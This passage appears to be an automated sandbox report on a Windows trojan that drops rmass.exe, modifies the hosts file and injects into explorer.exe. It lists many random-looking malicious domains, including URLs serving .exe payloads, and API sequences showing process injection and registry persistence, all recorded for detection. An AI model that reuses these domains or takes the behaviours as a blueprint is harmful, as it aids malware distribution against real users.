Source: rmass.exe, 00000002.00000003.3025518581.0000000000757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xesez.nu/D
Source: rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033688365.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3028936119.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xesez.nu/m
Source: rmass.exe, 00000002.00000003.4328288464.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4329895459.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xgikausivxwzy.tk/
Source: rmass.exe, 00000002.00000003.4328288464.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4329895459.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xgikausivxwzy.tk/stem32
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/-
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/e
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/i6
Source: rmass.exe, 00000002.00000002.4538072017.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/stem32
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmppjqkmlcssm.cd/tqw
Source: rmass.exe, 00000002.00000003.3236093854.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmukjiayiua.museum/u
Source: rmass.exe, 00000002.00000003.4419679356.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yicvwfgkc.tk/tdbg.exe
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704195789.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3826387409.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3835820528.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yiwqeoqkvc.mu
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710298681.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yiwqeoqkvc.museum/
Source: rmass.exe, 00000002.00000003.3826387409.0000000000731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ymvrgaeyo.nu/
Source: rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yowuwvxv.mp/
Source: rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yowuwvxv.mp/nectionSettings
Source: rmass.exe, 00000002.00000003.3473023150.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yswouqjaca.nu/
Source: rmass.exe, 00000002.00000003.3548028172.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3558744437.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3572688015.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3542935301.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3553182373.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3579332543.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yuufw.museum/
Source: rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ywscm.cd/
Source: rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ywscm.cd/tk/wwhoyfa.mp/
Source: rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ywscm.cd/u
Source: rmass.exe, 00000002.00000003.4222933084.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yyucqk.tk/
Source: rmass.exe, 00000002.00000003.4329895459.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zbgockeg.st/ahuy.exeY
Source: explorer.exe, 00000005.00000000.2090168879.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979221928.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000005.00000000.2093564057.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4552143125.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000002.4545904465.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000002.4545904465.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000002.4545904465.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000002.4545904465.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2089393533.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000005.00000002.4552143125.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3075443099.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979800071.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2093564057.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 00000005.00000002.4552143125.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3075443099.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979800071.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2093564057.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 00000005.00000000.2093564057.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4552143125.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.2090168879.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4546476312.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979221928.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 00000005.00000002.4552143125.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3075443099.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979800071.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2093564057.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000005.00000002.4541741793.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2087964237.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR

Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,	0_2_0040370C
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_00404E3C ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,	0_2_00404E3C
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_004033B4 lstrlen,OpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,CloseHandle,VirtualAlloc,lstrcpy,	0_2_004033B4
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,FindCloseChangeNotification,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,	2_2_0040370C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_004033B4 lstrlen,OpenProcess,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,CreateRemoteThread,CloseHandle,FindCloseChangeNotification,CloseHandle,VirtualAlloc,lstrcpy,	2_2_004033B4

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_00404E3C ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,		0_2_00404E3C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 3_2_00404E3C ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,ExitWindowsEx,RegCloseKey,		3_2_00404E3C

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

File created: C:\Windows\SysWOW64\rmass.exe

Jump to behavior

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_0040370C	0_2_0040370C
Source: C:\Users\user\Desktop\p4C7Gm10K3.exe	Code function: 0_2_00404E3C	0_2_00404E3C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_0040370C	2_2_0040370C
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 3_2_00403703	3_2_00403703
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 3_2_00404E3C	3_2_00404E3C

Source: p4C7Gm10K3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR

Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56

Source: classification engine

Classification label: mal100.troj.adwa.evad.winEXE@5/6@699/3

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

Code function: 0_2_00404116 wsprintfA,CreateMutexA,GetLastError,CreateToolhelp32Snapshot,RegDeleteValueA,RegCloseKey,GetCurrentProcessId,Process32First,lstrcmpiA,lstrcmpiA,OpenProcess,Process32Next,CloseHandle,SetPriorityClass,TerminateProcess,WaitForSingleObject,CloseHandle,SetFileAttributesA,DeleteFileA,RegOpenKeyExA,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegCloseKey,CloseHandle,FindCloseChangeNotification,ExitProcess,

0_2_00404116

Source: C:\Windows\SysWOW64\rmass.exe

File created: C:\Users\user\AppData\Roaming\tmpC717.tmp

Jump to behavior

